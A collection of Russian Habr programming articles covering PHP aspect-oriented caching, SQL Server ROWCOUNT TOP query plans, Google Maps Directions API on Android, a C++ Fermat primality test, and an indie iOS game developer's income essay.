Ничего сложного, обычный класс с обычным на вид методом. Однако это — аспект, определяющий совет beforeMethodExecution, который будет вызван перед вызовом нужных нам методов. Как вы уже заметили, Go! использует аннотации для хранения метаданных, что давно уже стало обычной практикой, так как это наглядно и удобно. Теперь мы можем зарегистрировать наш аспект в ядре Go! и выкинуть из кучи наших классов все логирование! Убрав ненужную зависимость от логера, мы сделали наш код классов чище, он стал больше соблюдать принцип единой ответственности, потому что мы вынесли из него то, чем он не должен заниматься.
Более того, теперь мы легко можем менять формат логирования, потому что теперь он задается в одном месте.
##### Прозрачное кэширование
Думаю, всем знаком шаблонный код метода с использованием кэширования:
```
/** ... */
public function cachedMethod()
{
$key = __METHOD__;
$result = $this->cache->get($key, $success);
if (!$success) {
$result = // ...
$this->cache->set($key, $result);
}
return $result;
}
```
Несомненно, все узнают этот шаблонный код, так как таких мест всегда достаточно. Если у нас большая система, то таких методов может быть очень много, вот бы сделать так, чтобы они сами кэшировались. А что, идея! Давайте помечать аннотацией те методы, которые должны кэшироваться, а в поинткате зададим условие — все методы, помеченные определенной аннотацией. Так как кэширование «оборачивает» код метода, то и нам нужен подходящий тип совета — Around, самый могущественный. Этот тип совета сам принимает решение о необходимости выполнения исходного кода метода. А дальше все просто:
```
use Go\Aop\Aspect;
use Go\Aop\Intercept\MethodInvocation;
use Go\Lang\Annotation\Around;
class CachingAspect implements Aspect
{
/**
* Cache logic
*
* @param MethodInvocation $invocation Invocation
* @Around("@annotation(Annotation\Cacheable)")
*/
public function aroundCacheable(MethodInvocation $invocation)
{
static $memoryCache = array();
$obj = $invocation->getThis();
$class = is_object($obj) ? get_class($obj) : $obj;
$key = $class . ':' . $invocation->getMethod()->name;
if (!isset($memoryCache[$key])) {
$memoryCache[$key] = $invocation->proceed();
}
return $memoryCache[$key];
}
}
```
В этом совете самое интересное — вызов оригинального метода, который осуществляется с помощью вызова proceed() у объекта MethodInvocation, содержащего информацию о текущем методе. Легко заметить, что если у нас есть данные в кэше, то мы не производим вызов оригинального метода. При этом, ваш код не изменяется никак!
Имея такой аспект, мы можем перед любым методом поставить аннотацию Annotation\Cacheable и этот метод будет кэшироваться благодаря АОП автоматически. Проходимся по всем методам и вырезаем логику кэширования, заменяя ее на аннотацию. Теперь шаблонный код метода с использованием кэширования выглядит просто и изящно:
```
/**
* @Cacheable
*/
public function cachedMethod()
{
$result = // ...
return $result;
}
```
Этот пример можно также найти внутри папки demos библиотеки Go! AOP PHP, а также посмотреть на [коммит](https://github.com/lisachenko/go-aop-php/commit/75cc05ea0472100b102e590170aed85c14cefd4b), реализующий вышесказанное в действии.
### Заключение
Аспектно-ориентированное программирование — довольно новая парадигма для PHP, но у нее большое будущее. Развитие метапрограммирования, написание Enterprise-фреймворков в PHP — все это идет по следам Java, а АОП в Java живет уже очень давно, так что нужно готовиться к АОП уже сейчас.
Go! AOP PHP — одна из немногих библиотек, которая работает с АОП и в некоторых вопросах она выгодно отличается от аналогов — возможность перехватывать статические методы, методы в финальных классах, обращения к свойствам объектов, возможность отладки исходного кода и кода аспектов. Go! использует массу техник для обеспечения высокого быстродействия: компиляция вместо интерпретации, отсутствие медленных техник, оптимизированный код выполнения, возможность использовать опкод-кэшер — все это дает свой вклад в общее дело. Одним из удивительных открытий было то, что Go! в некоторых аналогичных условиях может работать быстрее C-экстеншена PHP-AOP. Да-да, это правда, которая имеет простое объяснение — экстеншен вмешивается в работу всех методов в PHP в рантайме и делает небольшие проверки на соответствие поинткату, чем больше таких проверок, тем медленнее вызов каждого метода, тогда как Go! делает это один раз при компиляции кода класса, не влияя на скорость работы методов в рантайме.
Если есть вопросы и пожелания по библиотеке — я с радостью обсужу их с вами. Надеюсь, моя первая статья на хабре была вам полезной.
##### Ссылки
1. Исходный код <https://github.com/lisachenko/go-aop-php>
2. Презентация SymfonyCampUA-2012 <http://www.slideshare.net/lisachenko/php-go-aop>
3. Видео SymfonyCampUA-2012 <http://www.youtube.com/watch?v=ZXbREKT5GWE>
4. Пример перехвата всех методов в ZF2 (после клонирования устанавливаем зависимости через composer) <https://github.com/lisachenko/zf2-aspect>
5. Интересная статья по теме: [Аспекты, фильтры и сигналы — о, боже! (en)](http://www.mwop.net/blog/251-Aspects,-Filters,-and-Signals,-Oh,-My!.html) | https://habr.com/ru/post/165329/ | null | ru | null |
# ROWCOUNT TOP
Рассматривая планы запроса для INSERT, UPDATE или DELETE, в том числе те, которые демонстрировались в некоторых статьях ранее, можно заметить, что почти все такие планы включают оператора TOP. Например, следующий ниже сценарий с оператором UPDATE создает показательный для демонстрации этого план:
```
CREATE TABLE T (A INT)
INSERT T VALUES (0)
INSERT T VALUES (1)
INSERT T VALUES (2)
UPDATE T SET A = A + 1
```
```
Rows Executes
3 1 UPDATE [T] set [A] = [A]+@1
3 1 |--Table Update(OBJECT:([T]), SET:([T].[A] = [Expr1004]))
0 0 |--Compute Scalar(DEFINE:([Expr1004]=[T].[A]+[@1]))
3 1 |--Top(ROWCOUNT est 0)
3 1 |--Table Scan(OBJECT:([T]))
```
#### Что TOP делает прямо после просмотра таблицы?
Это ROWCOUNT TOP. Он используется для реализации функциональности SET ROWCOUNT. "est 0" указывает на то что, когда запрос был скомпилирован, SET ROWCOUNT был равен нулю («est» — это сокращение от «estimate», хотя это значение во время компиляции не влияет на оптимизацию или выполнение запроса). Отметим, что значение 0 означает выборку или обновление всех строк. Поскольку во время выполнения SET ROWCOUNT также был равен 0, возвращаемый STATISTICS PROFILE результат, показывает, что все 3 строки были обновлены.
Теперь попробуйте следующее:
```
SET ROWCOUNT 1
UPDATE T SET A = A + 1
```
```
Rows Executes
1 1 UPDATE [T] set [A] = [A]+@1
1 1 |--Table Update(OBJECT:([T]), SET:([T].[A] = [Expr1004]))
0 0 |--Compute Scalar(DEFINE:([Expr1004]=[T].[A]+[@1]))
1 1 |--Top(ROWCOUNT est 0)
1 1 |--Table Scan(OBJECT:([T]))
```
Хотя мы получаем тот же план (включая ROWCOUNT TOP с той же «estimate»), в этот раз SET ROWCOUNT был равен 1, поэтому при просмотре таблицы TOP вернул только одну строку, и потому была обновлена только одна строка.
Если сделать рекомпиляцию, то значение «estimate» изменяется:
```
SET ROWCOUNT 1
UPDATE T SET A = A + 1 OPTION (RECOMPILE)
```
```
Rows Executes
1 1 UPDATE T SET A = A + 1 OPTION (RECOMPILE)
1 1 |--Table Update(OBJECT:([T]), SET:([T].[A] = [Expr1004]))
0 0 |--Compute Scalar(DEFINE:([Expr1004]=[T].[A]+(1)))
1 1 |--Top(ROWCOUNT est 1)
1 1 |--Table Scan(OBJECT:([T]))
```
#### Почему SQL Server не добавляет ROWCOUNT TOP к операторам выборки?
Например, следующий план запроса не содержит TOP, но возвращает только одну строку:
```
SET ROWCOUNT 1
SELECT * FROM T
```
```
Rows Executes
1 1 SELECT * FROM T
1 1 |--Table Scan(OBJECT:([T]))
```
SQL Server реализует SET ROWCOUNT для операторов SELECT простым подсчётом, выбирая указанное количество строк из корня плана. Хотя это может работать и для тривиального плана с UPDATE, наподобие того, который был показан выше, это не будет работать для более сложных планов с UPDATE. Например, если мы добавим в нашу таблицу уникальный индекс, план с UPDATE станет существенно сложнее:
```
CREATE UNIQUE INDEX TA ON T(A)
UPDATE T SET A = A + 1
```
```
Rows Executes
2 1 UPDATE [T] set [A] = [A]+@1
2 1 |--Index Update(OBJECT:([T].[TA]), SET:([Bmk10061024] = [Bmk1006],[A1025] = [T].[A]))
2 1 |--Collapse(GROUP BY:([T].[A]))
2 1 |--Filter(WHERE:(NOT [Expr1021]))
2 1 |--Sort(ORDER BY:([T].[A] ASC, [Act1023] ASC))
2 1 |--Split
1 1 |--Table Update(OBJECT:([T]), SET:([T].[A] = [Expr1004]))
1 1 |--Compute Scalar(DEFINE:([Expr1021]=[Expr1021]))
0 0 |--Compute Scalar(DEFINE:([Expr1021]=CASE WHEN [Expr1005] THEN (1) ELSE (0) END))
0 0 |--Compute Scalar(DEFINE:([Expr1004]=[T].[A]+(1), [Expr1005]=CASE WHEN [T].[A] = ([T].[A]+(1)) THEN (1) ELSE (0) END))
1 1 |--Top(ROWCOUNT est 1)
1 1 |--Table Scan(OBJECT:([T]))
```
Мы не будем в этой статье разбирать все детали последнего плана. Оставим это для последующих статей. Однако обратите внимание, что при изменении одной строки, корень этого плана возвращает две строки. Если бы было отсчитана одна строка от корня плана, это не дало бы правильного результата. Поместив ROWCOUNT TOP над просмотром таблицы, оптимизатор может гарантировать, что сервер обновит правильное количество строк независимо от сложности остальной части плана. | https://habr.com/ru/post/690228/ | null | ru | null |
# Google MAPs API в android или как работать с картами быстрее
Про использование Google MAPs API написано много статей, но основная часть из них устарела на столько, что глазам становится просто больно. Здесь хочу рассказать про замечательную библиотеку для работы со всеми MAPs API в частности Directions API, а так же о том как все это встроить в приложение.
### Принцип работы Google MAPs API
Вся документация для работы с картами приведена на (логично) [официальном сайте google maps api](https://developers.google.com/maps/android/). Сегодня я рассматриваю только Directions API ([документация](https://developers.google.com/maps/documentation/directions/intro?hl=ru)). Для того что бы получить какую-либо информацию от большого числа, вам необходимо сделать запрос. Ответ прийдет в формате JSON.
Общий вид запроса:
`http://maps.googleapis.com/maps/api/directions/outputFormat?parameters`
Пример: `https://maps.googleapis.com/maps/api/directions/json?origin=55.754724,%2037.621380&destination=55.728466,%2037.604155&key="Your MAPs API key"`
**Ответ**
```
{
"geocoded_waypoints": [
{
"geocoder_status": "OK",
"place_id": "EjvQmtGA0LDRgdC90LDRjyDQv9C7LiwgMiwg0JzQvtGB0LrQstCwLCDQoNC-0YHRgdC40Y8sIDEwOTAxMg",
"types": [
"street_address"
]
},
{
"geocoder_status": "OK",
"place_id": "ChIJ5aZfug5LtUYRGSJyHfEblrk",
"types": [
"street_address"
]
}
],
"routes": [
{
"bounds": {
"northeast": {
"lat": 55.7536656,
"lng": 37.6246528
},
"southwest": {
"lat": 55.7279873,
"lng": 37.6049469
}
},
"copyrights": "Картографические данные 2017 Google",
"legs": [
{
"distance": {
"text": "4,4 км",
"value": 4434
},
"duration": {
"text": "13 мин.",
"value": 777
},
"end_address": "Ленинский пр., 6с11, Москва, Россия, 119049",
"end_location": {
"lat": 55.7279873,
"lng": 37.6049469
},
"start_address": "Красная пл., 2, Москва, Россия, 109012",
"start_location": {
"lat": 55.7536656,
"lng": 37.6225908
},
"steps": [
{
"distance": {
"text": "0,3 км",
"value": 261
},
"duration": {
"text": "1 мин.",
"value": 56
},
"end_location": {
"lat": 55.7515735,
"lng": 37.6240491
},
"html_instructions": "Направляйтесь на **юг** по **пл. Красная** в сторону **пл. Васильевский Cпуск**",
"polyline": {
"points": "mkhsIedsdFHDH@FCHIPUhAcBV_@T_@R[HKFGJGLIPIVIXGVCl@AZ?L?"
},
"start_location": {
"lat": 55.7536656,
"lng": 37.6225908
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,6 км",
"value": 585
},
"duration": {
"text": "1 мин.",
"value": 78
},
"end_location": {
"lat": 55.7463555,
"lng": 37.6246528
},
"html_instructions": "Продолжайте движение по **мост Большой Москворецкий**Участки этой дороги могут быть перекрыты в определенные дни или часы",
"polyline": {
"points": "i~gsIimsdFj@@L?DC@ABEBCDM`A?~BSvBMhAGdAEfAElAED@vBIXAv@Ev@El@Ej@C"
},
"start_location": {
"lat": 55.7515735,
"lng": 37.6240491
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,3 км",
"value": 259
},
"duration": {
"text": "1 мин.",
"value": 74
},
"end_location": {
"lat": 55.7458782,
"lng": 37.6206072
},
"html_instructions": "Поверните **направо** на **ул. Болотная**",
"maneuver": "turn-right",
"polyline": {
"points": "w}fsIaqsdFJ`CRbDPnCJvB\\~D@T@P?F?H"
},
"start_location": {
"lat": 55.7463555,
"lng": 37.6246528
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "69 м",
"value": 69
},
"duration": {
"text": "1 мин.",
"value": 10
},
"end_location": {
"lat": 55.7464196,
"lng": 37.6201379
},
"html_instructions": "**ул. Болотная** поворачивает **направо** и переходит в **пер. Фалеевский**",
"polyline": {
"points": "wzfsIywrdFAF?BABIN{@f@SJMH"
},
"start_location": {
"lat": 55.7458782,
"lng": 37.6206072
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,4 км",
"value": 420
},
"duration": {
"text": "1 мин.",
"value": 85
},
"end_location": {
"lat": 55.7446178,
"lng": 37.6146911
},
"html_instructions": "Плавный поворот **налево** на **пл. Болотная**",
"maneuver": "turn-slight-left",
"polyline": {
"points": "c~fsI{trdFOn@I\\CNANAN?^B^Hf@^fAVn@n@lBlAjDhAdDX~@@?Nd@nA|D"
},
"start_location": {
"lat": 55.7464196,
"lng": 37.6201379
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,2 км",
"value": 220
},
"duration": {
"text": "1 мин.",
"value": 65
},
"end_location": {
"lat": 55.7464027,
"lng": 37.6131881
},
"html_instructions": "Поверните **направо** на **ул. Серафимовича**",
"maneuver": "turn-right",
"polyline": {
"points": "{rfsIyrqdFk@f@GFOJOLaAr@oCtB}@v@"
},
"start_location": {
"lat": 55.7446178,
"lng": 37.6146911
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,1 км",
"value": 116
},
"duration": {
"text": "1 мин.",
"value": 32
},
"end_location": {
"lat": 55.7456823,
"lng": 37.6118538
},
"html_instructions": "Поверните **налево** на **ул. Софийская набережная**",
"maneuver": "turn-left",
"polyline": {
"points": "_~fsImiqdFRb@J\\Rn@Nd@jArB"
},
"start_location": {
"lat": 55.7464027,
"lng": 37.6131881
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,4 км",
"value": 362
},
"duration": {
"text": "1 мин.",
"value": 80
},
"end_location": {
"lat": 55.7431661,
"lng": 37.6150421
},
"html_instructions": "Поверните **налево** на **ул. Серафимовича**",
"maneuver": "turn-left",
"polyline": {
"points": "oyfsIaaqdFb@q@dAwAb@q@h@{@PSTWr@cAp@s@nAcA^]z@o@RSO{@"
},
"start_location": {
"lat": 55.7456823,
"lng": 37.6118538
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,2 км",
"value": 229
},
"duration": {
"text": "1 мин.",
"value": 40
},
"end_location": {
"lat": 55.7412352,
"lng": 37.6162912
},
"html_instructions": "**ул. Серафимовича** поворачивает **направо** и переходит в **Малый Каменный Мост**/**ул. Большая Полянка**Продолжайте движение по ул. Большая Полянка",
"polyline": {
"points": "yifsI_uqdF^UJEJERKBATQRO`@YlC_Bf@UVKVK"
},
"start_location": {
"lat": 55.7431661,
"lng": 37.6150421
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "79 м",
"value": 79
},
"duration": {
"text": "1 мин.",
"value": 13
},
"end_location": {
"lat": 55.7405459,
"lng": 37.616611
},
"html_instructions": "Продолжайте движение по **пр-д Якиманский**",
"polyline": {
"points": "w}esIy|qdFrBy@TE"
},
"start_location": {
"lat": 55.7412352,
"lng": 37.6162912
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,2 км",
"value": 194
},
"duration": {
"text": "1 мин.",
"value": 22
},
"end_location": {
"lat": 55.7388943,
"lng": 37.6156238
},
"html_instructions": "Плавно поверните **направо** и продолжайте движение по **пр-д Якиманский**",
"maneuver": "turn-slight-right",
"polyline": {
"points": "myesIy~qdFh@N^PtAv@NDzCdB"
},
"start_location": {
"lat": 55.7405459,
"lng": 37.616611
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "1,0 км",
"value": 1000
},
"duration": {
"text": "2 мин.",
"value": 106
},
"end_location": {
"lat": 55.73020349999999,
"lng": 37.6120644
},
"html_instructions": "Продолжайте движение по **ул. Большая Якиманка**",
"polyline": {
"points": "aoesIsxqdFxDzBlAp@vAx@fBfAzAz@p@\\xAv@VJ`@Rp@THD~Af@bAZnBh@l@Nz@ThARr@J`AFf@Bd@B|@@jB@n@?|@@"
},
"start_location": {
"lat": 55.7388943,
"lng": 37.6156238
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "60 м",
"value": 60
},
"duration": {
"text": "1 мин.",
"value": 9
},
"end_location": {
"lat": 55.7296657,
"lng": 37.6120519
},
"html_instructions": "Продолжайте движение по **пл. Калужская**",
"polyline": {
"points": "wxcsIkbqdFP?vA@"
},
"start_location": {
"lat": 55.73020349999999,
"lng": 37.6120644
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,2 км",
"value": 186
},
"duration": {
"text": "1 мин.",
"value": 36
},
"end_location": {
"lat": 55.7304209,
"lng": 37.6093953
},
"html_instructions": "Поверните **направо**",
"maneuver": "turn-right",
"polyline": {
"points": "mucsIibqdFi@|CUtACL]bBs@jD"
},
"start_location": {
"lat": 55.7296657,
"lng": 37.6120519
},
"travel_mode": "DRIVING"
},
{
"distance": {
"text": "0,4 км",
"value": 394
},
"duration": {
"text": "1 мин.",
"value": 71
},
"end_location": {
"lat": 55.7279873,
"lng": 37.6049469
},
"html_instructions": "Поверните **налево**Дорога с ограниченным доступомПункт назначения будет справа",
"maneuver": "turn-left",
"polyline": {
"points": "czcsIwqpdFf@x@dAzAp@|@j@t@j@p@PXNXNb@Nb@\\xA^fAPj@Nb@L`@Nn@Pz@FTHVHR"
},
"start_location": {
"lat": 55.7304209,
"lng": 37.6093953
},
"travel_mode": "DRIVING"
}
],
"traffic_speed_entry": [],
"via_waypoint": []
}
],
"overview_polyline": {
"points": "mkhsIedsdFRFPMhCyD\\g@RO^Sp@QdAEh@?x@@FEFIDM`A?vFa@nCMtCK|BGvDSj@CJ`Cd@rHl@~IA\\KRoAr@MHOn@Ml@C^B~@Hf@^fAfA|CrDpK~AbFs@n@qFbE}@v@Rb@^lANd@jArBhBiClAmBf@k@r@cAp@s@nBaBnAcAO{@^UVKVMh@a@nDyB~@a@jCeATEh@NtBhAjDjBfGlD~D`ClCxApBbArAh@hBl@rDdAhBd@|B^hBJbBDjFBvA@i@|CYbBqAnGlBtC|ArB|@jA^|@l@|BnAxDr@xCHR"
},
"summary": "ул. Большая Якиманка",
"warnings": [],
"waypoint_order": []
}
],
"status": "OK"
}
```
В качестве ответа нам (ожидаемо) пришел JSON с большим набором разных точек с координатами и названиями этих мест.
### А как вообще работать с этой страшной штукой?
Если вы только начинаете работать с Android, то советую вам почитать про такую замечательную библиотеку Retrofit, которая превращает работу с запросами в код из 2 строк. Рассматривать сейчас я её не буду.
Но я сегодня хочу рассмотреть пример использования библиотеки [Java Client for Google Maps Services](https://github.com/googlemaps/google-maps-services-java). Библиотека как по мне замечательная, освобождает от необходимости писать (пусть даже очень короткие) запросы вручную и отлично подходит в случаях когда нужно писать очень быстро, как например на хакатоне. Я хочу показать живой пример использования данной библиотеки на примере работы с Directions API.
### Подключение библиотеки
Для начала нам потребуется получить ключ для нашего приложения. Топаем на [оф. сайт](https://developers.google.com/maps/documentation/android-api/start), находим сверху кнопку «получить ключ», создаем новый проект, нажимаем далее и готово!
UPD: теперь бесплатно получить нельзя. С лета 2018 года Google обновили план и необходимо ввести данные своей карты для получения 200$ для запросов каждый месяц бесплатно. Этого должно хватать, но конечно тенденция не радует.
**Firebase**
Для правильной работы приложения нам необходимо получить файл google-service.json. Идем на firebase выбираем наш проект и добавляем его. Далее нам нужно выбрать Android проект, ввести название пакета, регистрируем приложение. Скачиваем файл и перетаскиваем в папку app. К слову её не будет видно в дереве проекта, для этого надо в Android Studio поменять отображение с Android на Project или залезть в наш проект через файловый менеджер. Далее следуем инструкциям где какой код писать.
**Включаем в консоли**
Так же нам необходимо включить Directions API (или любую другую необходимую вам API) в консоли, для этого идем [сюда](https://console.developers.google.com/apis/api/directions_backend?project=_), выбираем наше приложение и включаем Directions API.
**Gradle**
В Gradle файлы так же необходимо добавить еще пару строк. В итоге новые строки выглядят вот так:
Project.gradle
```
dependencies {
...
classpath 'com.google.gms:google-services:3.1.0'
}
...
repositories {
jcenter()
mavenCentral()
}
```
app.gradle
```
dependencies {
...
compile 'com.google.maps:google-maps-services:0.2.4'
compile 'com.google.android.gms:play-services-maps:11.0.4'
compile 'org.slf4j:slf4j-nop:1.7.25'
}
apply plugin: 'com.google.gms.google-services'
```
Обязательно проверяйте, актуальная ли это сейчас версия!
### Встраиваем карту в приложение
Google map в андроид реализовывается как фрагмент (или как MapView, но об этом в другой раз, нам сейчас особой разницы нет). Просто встраиваем его в наш layout. В нашем классе, который работает с картой, необходимо найти эту карту и заимплементить интерфейс.
Код для фрагмента выглядит вот так. Я буду работать с MainActivity, соответственно если вы используете другой класс вам необходимо поменять контекст.
```
```
Отлично, фрагмент встроили, Android Studio на нас не ругается, едем дальше. Переходим в MainActivity.class и имплементим интерфейс OnMapReadyCallback.
```
implements OnMapReadyCallback
...
@Override
public void onMapReady(GoogleMap googleMap) {
...
}
```
В onCreate пишем
```
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
.findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
```
Так же идем в Manifests и прописываем вот такие штуки **внутри** тэга application
```
```
Где вместо `@string/google_maps_key` должен подставиться ваш ключ для карт, который мы получили ранее. Соответственно вам нужно создать нужный ресурс в файле string.
`...`
### Пишем всякие интересности
Отлично, карта у нас есть, давайте наконец напишем хоть что-нибудь интересное. Пусть нашей целью будет нарисовать маршрут по Москве через несколько точек:
* Гум (55.754724, 37.621380)
* Большой театр (55.760133, 37.618697)
* Патриаршие пруды (55.764753, 37.591313)
* Парк культуры (55.728466, 37.604155)
Кладу все наши места в List и делаю это как глобальную переменную.
```
private List places = new ArrayList<>();
```
В onCreate
```
places.add(new LatLng(55.754724, 37.621380));
places.add(new LatLng(55.760133, 37.618697));
places.add(new LatLng(55.764753, 37.591313));
places.add(new LatLng(55.728466, 37.604155));
```
Для начала создадим по маркеру на каждое место. Маркер это просто объект, которому передаются координаты, а затем они накладываются на карту. Код:
```
MarkerOptions[] markers = new MarkerOptions[places.size()];
for (int i = 0; i < places.size(); i++) {
markers[i] = new MarkerOptions()
.position(places.get(i));
googleMap.addMarker(markers[i]);
}
```
Далее мы пишем вот такой код все в том же методе onMapReady
```
//Получаем контекст для запросов, mapsApiKey хранит в себе String с ключом для карт
GeoApiContext geoApiContext = new GeoApiContext.Builder()
.apiKey(mapsApiKey)
.build();
//Здесь будет наш итоговый путь состоящий из набора точек
DirectionsResult result = null;
try {
result = DirectionsApi.newRequest(geoApiContext)
.origin(places.get(0))//Место старта
.destination(places.get(places.size() - 1))//Пункт назначения
.waypoints(places.get(1), places.get(2)).await();//Промежуточные точки. Да, не очень красиво, можно через цикл, но зато наглядно
} catch (ApiException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//Преобразование итогового пути в набор точек
List path = result.routes[0].overviewPolyline.decodePath();
//Линия которую будем рисовать
PolylineOptions line = new PolylineOptions();
LatLngBounds.Builder latLngBuilder = new LatLngBounds.Builder();
//Проходимся по всем точкам, добавляем их в Polyline и в LanLngBounds.Builder
for (int i = 0; i < path.size(); i++) {
line.add(new com.google.android.gms.maps.model.LatLng(path.get(i).lat, path.get(i).lng));
latLngBuilder.include(new com.google.android.gms.maps.model.LatLng(path.get(i).lat, path.get(i).lng));
}
//Делаем линию более менее симпатичное
line.width(16f).color(R.color.colorPrimary);
//Добавляем линию на карту
googleMap.addPolyline(line);
//Выставляем камеру на нужную нам позицию
LatLngBounds latLngBounds = latLngBuilder.build();
CameraUpdate track = CameraUpdateFactory.newLatLngBounds(latLngBounds, width, width, 25);//width это размер нашего экрана
googleMap.moveCamera(track);
```
При запуске приложения мы получили вот такую картину:
Хм, Москва, конечно, весьма запутанная, но не настолько же. Почему же такой странный маршрут нам вернул Google? Потому что он построил маршрут для автомобилей, который идет по умолчанию, но мы можем это изменить. Чтобы построить маршрут для пешеходов, меняем код на:
```
try {
result = DirectionsApi.newRequest(geoApiContext)
.mode(TravelMode.WALKING)//Говорим: "Нет, спасибо. Я пойду пешком"
.origin(places.get(0))
.destination(places.get(places.size() - 1))
.waypoints(places.get(1), places.get(2)).await();
...
```
Теперь наш маршрут выглядит вот так
Существует еще множество настроек, о всех них можно прочитать в [документации](https://developers.google.com/maps/documentation/directions/intro?hl=ru). Просто мы все параметры будем добавлять не в сырой запрос, а в код, поскольку методы библиотеки имеют те же названия что и просто в запросах.
Весь код есть на [github](https://github.com/FrogTravel/MapExample/tree/master). | https://habr.com/ru/post/341548/ | null | ru | null |
# Алгоритм проверки на простоту за O (log N)
#### Проверка на простоту
Чтобы определить, является ли данное число **N** простым, безусловно, достаточно написать простой цикл поиска делителей числа **N**:
```
bool prime(long long n){
for(long long i=2;i<=sqrt(n);i++)
if(n%i==0)
return false;
return true;
}
```
Данная функция проверки числа на простоту достаточно эффективна — асимптотика ее работы **O (sqrt(N))**. Однако, иногда в спортивном программировании нужно уметь проверять число на простоту быстрее.
В некоторых случаях, когда требуется выполнять такую проверку для чисел из некоторого диапазона, то целесообразно воспользоваться алгоритмом [Решето Эратосфена](http://habrahabr.ru/post/91112/).
В данной статье я рассмотрю другой способ выполнять единичные проверки на простоту — **тест Ферма**.
##### Вероятностный алгоритм за O (log N) с тестом Ферма
Математическое обоснование **теста Ферма** достаточно хорошо описано [здесь](http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%81%D1%82_%D0%A4%D0%B5%D1%80%D0%BC%D0%B0).
Я же приведу его конкретную реализацию на C++, а также покажу, как бороться с переполнением типа long long при возведении в степень.
###### Тест Ферма
Для того, чтобы проверить число **N** на простоту с достаточно хорошей вероятностью безошибочности, достаточно 100 раз проверить случайное число **A** тестом Ферма:
Также стоит отметить, что числа **A** и **N** должны быть взаимно просты. Если это условие не выполняется, то число **N** — заведомо непростое.
```
bool ferma(long long x){
if(x == 2)
return true;
srand(time(NULL));
for(int i=0;i<100;i++){
long long a = (rand() % (x - 2)) + 2;
if (gcd(a, x) != 1)
return false;
if( pows(a, x-1, x) != 1)
return false;
}
return true;
}
```
Отмечу, что данная функция проверки использует функции нахождения НОД, а также быстрого возведения в степень по модулю.
###### Нахождение НОД
Собственно, в нахождении НОДа двух чисел проблем меньше всего. Воспользуемся [алгоритмом Евклида](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%95%D0%B2%D0%BA%D0%BB%D0%B8%D0%B4%D0%B0):
```
long long gcd(long long a, long long b){
if(b==0)
return a;
return gcd(b, a%b);
}
```
###### Быстрое возведение в степень по модулю
Быстрое возведение в степень (бинарное) известно довольно широко. Отмечу только, что при перемножении двух чисел типа long long может произойти переполнение типа еще до того, как мы возьмем результат по модулю. Поэтому используем функцию двоичного умножения двух чисел также по модулю. Ее смысл очень похож на быстрое возведение в степень.
```
long long mul(long long a, long long b, long long m){
if(b==1)
return a;
if(b%2==0){
long long t = mul(a, b/2, m);
return (2 * t) % m;
}
return (mul(a, b-1, m) + a) % m;
}
long long pows(long long a, long long b, long long m){
if(b==0)
return 1;
if(b%2==0){
long long t = pows(a, b/2, m);
return mul(t , t, m) % m;
}
return ( mul(pows(a, b-1, m) , a, m)) % m;
}
```
Точно также как и при возведении в степень, если второй множитель четный, то можно разделить его на 2, и перейти к вычислению произведения чисел **A** и **B/2**. Иначе, нужно вычислить произведение чисел **A** и **B — 1**.
##### Асимптотика решения
Итоговая асимптотика проверки на простоту — **O (K \* log N \* log N)**, где **K** — количество итераций теста Ферма, которое обычно равняется 100. Если требуется проверить на простоту число типа int, то можно обойтись без двоичного умножения. Тогда асимптотика проверки на простоту будет равна **O (K \* log N)**. | https://habr.com/ru/post/205318/ | null | ru | null |
# J-Bird
Весна навалилась на Крагуевац и нет покоя от котов и птиц. Птицы, скажете вы, при чем здесь птицы, и потянетесь к магической стреле. Стойте, я объясню…
Последний год iOS-игрушки перестали приносить деньги. Вообще, я обнаружил закон [PapaBubaDiop](https://habr.com/ru/users/papabubadiop/) -а: *Каждые 2 года доходы от старых iOS игр уменьшаются ровно вдвое*. В 11 году я получал $200 в день, в 2013 — $100, в 2015 — $50. В грядущем году революции все говорит о том, что дебет будет $25 в сутки. Грустно, девушки, все вернулось в началу 2000, когда инди-парни получали эмоциональное удовлетворение от разработки и более ничего не получали. Хочу заметить, что дело не только в том, что большие дяди кушают торт без нас. В целом очень повысилось качество приложений и безыскусные поделки не имеют никаких шансов даже на 5-10 бесплатных скачиваний.
Это не значит, что ваше добротно сделанное инди-приложение не принесет денег. Принесет, но не более того, что получает php-разработчик в российской глубинке.
Для проверки своего тезиса, что халява закончилась и разработка игры превратилось в простое ремесло я провел эксперимент.
Суть:
1. разработать игру за 1 день.
2. Проследить — сколько она заработает за месяц.
3. Проинтерполировать на год, жизнь и один день.
4. Сравнить с посуточной зарплатой js-кодера из Моршанска.
5. Угостить всех девушек Хабра шампанским.
Нормальный план.
### Погнали разработку
Здесь чуть-чуть учебника. Идеи приложений приходят из вашего прошлого, один из способов — взять свою любимую игру детства, модифицировать гейм-плей (вспомни! тебе не хватало именно такой фичи в оригинальной забаве?). Затем проверить идею вручную, без программирования и вот уже начать кодировать.
### Идея
В моем случае это древняя DOS игра j-bird — в ней птичка должна обойти все клетки гексагонального поля. После посещения клетка метится другим цветом. Мне всегда хотелось, чтобы птица не просто обходила всю доску, а чтобы цвет клетки доски инверсивно менялся после каждого посещения, чего не было в оригинальной версии игры.
**Видео геймплея очень длинное 500 секунд, не мог оторваться пока не погиб**
